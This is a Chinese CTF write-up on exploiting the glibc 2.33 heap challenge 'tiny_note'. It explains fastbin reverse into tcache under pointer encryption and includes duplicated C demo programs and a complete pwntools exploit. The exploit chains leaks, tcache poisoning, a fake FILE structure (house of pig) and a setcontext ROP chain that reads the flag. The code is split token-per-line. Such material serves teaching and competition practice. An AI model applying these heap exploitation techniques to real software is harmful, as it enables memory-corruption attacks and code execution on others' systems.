这是2021年西湖论剑初赛上的一道一解(好像是,记不太清是不是1解了)高版本libc题,版本为2.33,两个hook仍然存在,但是许多利用手法与之前有一定出入,在这里通过这样一道题来熟悉高版本下的漏洞利用手法
这道题callmecro已经写过一篇详细的复现:https://www.anquanke.com/post/id/260059
采用的是largebin attack,但是并非预期解,本篇文章采用fastbin reverse into tcache来达到仅使用fastbin 范围内的chunk实现任意+8对齐地址写一个堆地址的目的。本篇文章的重点也在于通过这道题引出不同版本下fastbin reverse into tcache的使用。
并且如果采用fastbin reverse into tcache来解题,会大大降低堆风水的难度,不需要非常小心的使用内存空间,exp看起来也会清爽很多。
1.fastbin reverse into tcache
2.house of pig中的IO利用部分
在2.27-2.31版本中,没有对fd指针加密,所以在利用的时候非常简单,只需要将tcache填满,然后放7个chunk进fastbin,并将第一个放进fastbin的chunk的fd改成目标地址,然后清空tcache,申请一个fastbin出来,就可以将target链入tcache并且是在头部,这样即可实现任意地址写一个堆地址的目的,还能将链入tcache的地址申请出来,达到任意地址写任意值。
我们来调试一份demo代码:
在第29行我们下个断点看看:
此时fastbin中放进去了7个,tcache也已经被清空,并且最先放进去的fastbin的fd也已经被修改
我们执行一下malloc:
可以看到,目标地址被链入tcache,且其fd位置上的值被改成了一个堆地址
从libc2.32开始,针对tcache和fastbin的fd指针都进行了一个加密,加密过程是用当前chunk的地址>>12去和fd值异或,并将结果作为新的fd值,所以在进行fastbin reverse into tcache的时候,就不能单纯的将fastbin的fd该成目标地址了,需要先和其地址>>12去异或
我们一起来调试一下这份新demo:
这里记得把libc版本更换到2.32或以上
将断点打在30行,来看看:
可以看到pwndbg已经显示不出来完整的fastbin链了,因为fd指针是加密过的,但是这只是解析问题,不会影响我们后续的工作,我们将处理好的fd写到第一个放进fastbin的chunk的fd处,然后执行malloc看看
tcache也无法识别出完整的链了,但是我们仍然将目标地址链入了tcache中,可是有一个问题,写到fd位置的地址不再是一个正确的堆地址,而是加密后的,对于tiny_note这道题而言,由于申请的时候限制在了一页中,所以链入的地址是无法申请到的。
接下来我们要想其他的方法实现写入堆地址的目的
我们再次观察其写入过程:
我们看到在keys的位置仍然写入的是正确的堆地址,并没有进行加密,但是keys的写入过程有一个检查,就是必须+8位置对齐 ,所以我们其实是无法通过写keys写入IO_list_all的,但是chain是在+8位置的,所以我们可以通过keys写入chain来打IO
house of pig的IO部分主要利用了IO_str_overflow,具体利用可以直接看这篇文章:https://www.anquanke.com/post/id/242640
我们回归题目本身,简要叙述一下攻击过程
1.首先通过UAF泄露堆地址
2.然后利用tcache和UAF实现一个一页内的任意地址写
3.利用部分范围的任意地址写修改chunk的size,让其进入unsortedbin从而泄露libc
4.利用fastbin reverse into tcache将chain写成heapbase+0x10
5.利用任意地址写不断完善fake FILE
6.利用house of pig配合setcontext+61完成orw
注:题目本身还需要利用getdents64获取flag名再去orw,但不是本次复现的重点,所以略去此步
exp :
最后放一个打通的结果图吧:
const size_t allocsize
=
0x40
;
int
main(){
setbuf(stdout, NULL);
char
*
ptrs[
14
];
size_t i;
for
(i
=
0
; i <
14
; i
+
+
) {
ptrs[i]
=
malloc(allocsize);
}
for
(i
=
0
; i <
7
; i
+
+
) {
free(ptrs[i]);
}
char
*
victim
=
ptrs[
7
];
free(victim);
/
/
Fill the fastbin.
for
(i
=
8
; i <
14
; i
+
+
) {
free(ptrs[i]);
}
size_t stack_var[
6
];
memset(stack_var,
0xcd
, sizeof(stack_var));
*
(size_t
*
*
)victim
=
&stack_var[
0
];
for
(i
=
0
; i <
7
; i
+
+
) {
ptrs[i]
=
malloc(allocsize);
}
malloc(allocsize);
char
*
q
=
malloc(allocsize);
return
0
;
}
const size_t allocsize
=
0x40
;
int
main(){
setbuf(stdout, NULL);
char
*
ptrs[
14
];
size_t i;
for
(i
=
0
; i <
14
; i
+
+
) {
ptrs[i]
=
malloc(allocsize);
}
for
(i
=
0
; i <
7
; i
+
+
) {
free(ptrs[i]);
}
char
*
victim
=
ptrs[
7
];
free(victim);
/
/
Fill the fastbin.
for
(i
=
8
; i <
14
; i
+
+
) {
free(ptrs[i]);
}
size_t stack_var[
6
];
memset(stack_var,
0xcd
, sizeof(stack_var));
*
(size_t
*
*
)victim
=
&stack_var[
0
];
for
(i
=
0
; i <
7
; i
+
+
) {
ptrs[i]
=
malloc(allocsize);
}
malloc(allocsize);
char
*
q
=
malloc(allocsize);
return
0
;
}
const size_t allocsize
=
0x40
;
int
main(){
setbuf(stdout, NULL);
char
*
ptrs[
14
];
size_t i;
for
(i
=
0
; i <
14
; i
+
+
) {
ptrs[i]
=
malloc(allocsize);
}
for
(i
=
0
; i <
7
; i
+
+
) {
free(ptrs[i]);
}
char
*
victim
=
ptrs[
7
];
free(victim);
/
/
Fill the fastbin.
for
(i
=
8
; i <
14
; i
+
+
) {
free(ptrs[i]);
}
long
long
stack_var[
6
];
stack_var[
2
]
=
(
long
long
)stack_var>>
12
;
*
(size_t
*
*
)victim
=
((
long
long
)victim>>
12
)^((
long
long
)stack_var);
/
/
*
(size_t
*
*
)victim
=
&stack_var[
0
];
for
(i
=
0
; i <
7
; i
+
+
) {
ptrs[i]
=
malloc(allocsize);
}
malloc(allocsize);
return
0
;
}
const size_t allocsize
=
0x40
;
int
main(){
setbuf(stdout, NULL);
char
*
ptrs[
14
];
size_t i;
for
(i
=
0
; i <
14
; i
+
+
) {
ptrs[i]
=
malloc(allocsize);
}
for
(i
=
0
; i <
7
; i
+
+
) {
free(ptrs[i]);
}
char
*
victim
=
ptrs[
7
];
free(victim);
/
/
Fill the fastbin.
for
(i
=
8
; i <
14
; i
+
+
) {
free(ptrs[i]);
}
long
long
stack_var[
6
];
stack_var[
2
]
=
(
long
long
)stack_var>>
12
;
*
(size_t
*
*
)victim
=
((
long
long
)victim>>
12
)^((
long
long
)stack_var);
/
/
*
(size_t
*
*
)victim
=
&stack_var[
0
];
for
(i
=
0
; i <
7
; i
+
+
) {
ptrs[i]
=
malloc(allocsize);
}
malloc(allocsize);
return
0
;
}
from
re
import
L
from
pwn
import
*
from
ctypes
import
*
from
string
import
*
from
hashlib
import
*
from
itertools
import
product
io
=
process(
'./pwn'
)
libc
=
ELF(
'./libc-2.33.so'
)
elf
=
ELF(
"./pwn"
)
rl
=
lambda
a
=
False
: io.recvline(a)
ru
=
lambda
a,b
=
True
: io.recvuntil(a,b)
rn
=
lambda
x : io.recvn(x)
sn
=
lambda
x : io.send(x)
sl
=
lambda
x : io.sendline(x)
sa
=
lambda
a,b : io.sendafter(a,b)
sla
=
lambda
a,b : io.sendlineafter(a,b)
irt
=
lambda
: io.interactive()
dbg
=
lambda
text
=
None
: gdb.attach(io, text)
lg
=
lambda
s : log.info(
'\033[1;31;40m %s --> 0x%x \033[0m'
%
(s,
eval
(s)))
uu32
=
lambda
data : u32(data.ljust(
4
, b
'\x00'
))
uu64
=
lambda
data : u64(data.ljust(
8
, b
'\x00'
))
def
menu(choice):
sla(
"Choice:"
,
str
(choice))
def
add(index):
menu(
1
)
sla(
"Index:"
,
str
(index))
def
edit(index,context):
menu(
2
)
sla(
"Index:"
,
str
(index))
sa(
"Content:"
,context)
def
show(index):
menu(
3
)
sla(
"Index:"
,
str
(index))
def
free(index):
menu(
4
)
sla(
"Index:"
,
str
(index))
add(
0
)
add(
1
)
free(
0
)
show(
0
)
ru(
"Content:"
)
heapbase
=
u64(io.recv(
5
).ljust(
8
,
'\x00'
))
heapbase
=
heapbase<<
12
lg(
"heapbase"
)
heap
=
heapbase
+
0x2b0
xor
=
heapbase>>
12
free(
1
)
edit(
1
,p64(xor^heap))
add(
1
)
add(
0
)
edit(
0
,p64(
0
)
+
p64(
0x421
))
for
i
in
range
(
33
):
add(
0
)
free(
1
)
show(
1
)
ru(
"Content:"
)
libcbase
=
u64(io.recv(
6
).ljust(
8
,
'\x00'
))
-
(
0x7f514304ec00
-
0x7f5142e6e000
)
lg(
"libcbase"
)
io_list_all
=
libcbase
+
0x1e15c0
io_str_jumps
=
libcbase
+
(
0x7f6b247b0560
-
0x7f6b245ce000
)
free_hook
=
libcbase
+
libc.sym[
'__free_hook'
]
pcop
=
libcbase
+
0x14a0a0
lg(
"pcop"
)
setcontext
=
libcbase
+
libc.sym[
'setcontext'
]
rdi_ret
=
libcbase
+
0x0000000000028a55
rsi_ret
=
libcbase
+
0x000000000002a4cf
rdx_ret
=
libcbase
+
0x00000000000c7f32
open
=
libcbase
+
libc.sym[
'open'
]
read
=
libcbase
+
libc.sym[
'read'
]
write
=
libcbase
+
libc.sym[
'write'
]
add(
0
)
add(
1
)
free(
0
)
free(
1
)
heap
=
heapbase
+
0x10
edit(
1
,p64(xor^heap))
add(
0
)
add(
0
)
edit(
0
,p64(
0
))
add(
1
)
add(
2
)
free(
1
)
edit(
0
,p64(
2
))
edit(
1
,p64(xor^heapbase
+
0x90
))
add(
1
)
add(
1
)
for
i
in
range
(
7
):
edit(
0
,p64(
0
))
add(
2
)
edit(
0
,p64(i))
free(
2
)
edit(
0
,p64(
0
))
add(
2
)
edit(
0
,p64(
7
))
free(
2
)
heap
=
heapbase
+
0x400
edit(
2
,p64(xor^(io_list_all
+
0x70
)))
for
i
in
range
(
6
):
add(
2
)
edit(
0
,p64(
7
))
free(
2
)
edit(
0
,p64(
6
-
i))
edit(
0
,p64(
0
))
edit(
1
,p64(io_list_all>>
12
))
add(
2
)
def
change(addr,context):
edit(
0
,p64(
1
))
edit(
1
,p64(addr))
add(
2
)
edit(
2
,context)
length
=
0x230
start
=
heapbase
+
0x600
end
=
start
+
((length)
-
100
)
/
/
2
change(heapbase
+
0x30
,p64(
1
)
+
p64(
0xffffffffffff
))
change(heapbase
+
0x40
,p64(
0
)
+
p64(start))
change(heapbase
+
0x50
,p64(end))
change(heapbase
+
0xd0
,p64(
0
))
change(heapbase
+
0xe0
,p64(
0
)
+
p64(io_str_jumps))
change(heapbase
+
0x1a0
,p64(free_hook))
change(start,p64(pcop)
+
p64(heapbase
+
0x700
))
change(heapbase
+
0x720
,p64(setcontext
+
61
))
change(heapbase
+
0x7a0
,p64(heapbase
+
0x800
)
+
p64(rdi_ret))
change(heapbase
+
0x7c0
,
'flag'
.ljust(
0x10
,
'\x00'
))
change(heapbase
+
0x800
,p64(heapbase
+
0x7c0
)
+
p64(rsi_ret))
change(heapbase
+
0x810
,p64(
0
)
+
p64(
open
))
change(heapbase
+
0x820
,p64(rdi_ret)
+
p64(
3
))
change(heapbase
+
0x830
,p64(rsi_ret)
+
p64(heapbase
+
0x900
))
change(heapbase
+
0x840
,p64(rdx_ret)
+
p64(
0x50
))
change(heapbase
+
0x850
,p64(read)
+
p64(rdi_ret))
change(heapbase
+
0x860
,p64(
1
)
+
p64(write))
edit(
1
,p64(free_hook))
edit(
0
,p64(
1
))
add(
2
)
irt()
from
re
import
L
from
pwn
import
*
from
ctypes
import
*
from
string
import
*
from
hashlib
import
*
from
itertools
import
product
io
=
process(
'./pwn'
)
libc
=
ELF(
'./libc-2.33.so'
)
elf
=
ELF(
"./pwn"
)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!